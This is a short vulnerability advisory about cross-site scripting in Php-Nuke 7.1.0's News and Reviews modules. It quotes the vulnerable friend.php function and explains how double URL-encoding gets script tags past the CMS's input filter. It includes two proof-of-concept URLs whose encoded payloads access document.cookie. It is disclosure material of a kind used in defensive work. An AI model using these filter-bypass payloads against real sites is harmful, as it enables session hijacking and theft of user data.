Cross-Site Scripting (XSS) in Php-Nuke 7.1.0
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is popular freeware content management system, written in php by
Francisco Burzi. This CMS (COntent Management System) is used on many thousands
websites, because it`s free of charge, easy to install and has broad set of
features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If we look at Php-Nuke`s history, then we can find many cases reporting the
XSS
in Php-Nuke. Most of them are fixed by now, when we have allready version 7.1.0
available. Despite this I found two new cases of XSS in Php-Nuke 6.x-7.1.0 ,
maybe in
older versions too.
Exploit:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Let`s look at code from "/modules/News/friend.php" line 84-92 (Php-Nuke
7.1.0):
function StorySent($title, $fname) {
include ("header.php");
$title = urldecode($title);
$fname = urldecode($fname);
OpenTable();
echo "<center><font class=\"content\">"._FSTORY." <b>$title</b>
"._HASSENT." $fname... "._THANKS."</font></center>";
CloseTable();
include ("footer.php");
}
If we deliver $title or $fname by GET or POST variable, then we have XSS
conditions here. But Php-Nuke will reject GET and POST requests with
<script> tags.
One way to evade this filter is the using of <img src=foo onload=[code here]>.
There is better way to exploit the XSS, and it`s the using of partially or
fully
urlencoded ("hexed") script for exploit. And because we have lines
$title = urldecode($title);
and
$fname = urldecode($fname);
in original code, it will be urldecoded and will work for us, but GET or POST
filtering can`t recognize the "<script>" pattern.
Same problem has one more module - "Reviews".
Proof of concept examples:
http://f00bar.com/modules.php?name=News&file=friend&op=StorySent&title=%253cscript>alert%2528document.cookie);%253c/script>
http://f00bar.com/modules.php?name=Reviews&rop=postcomment&title=%253cscript>alert%2528document.cookie);%253c/script>
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Abu Lafy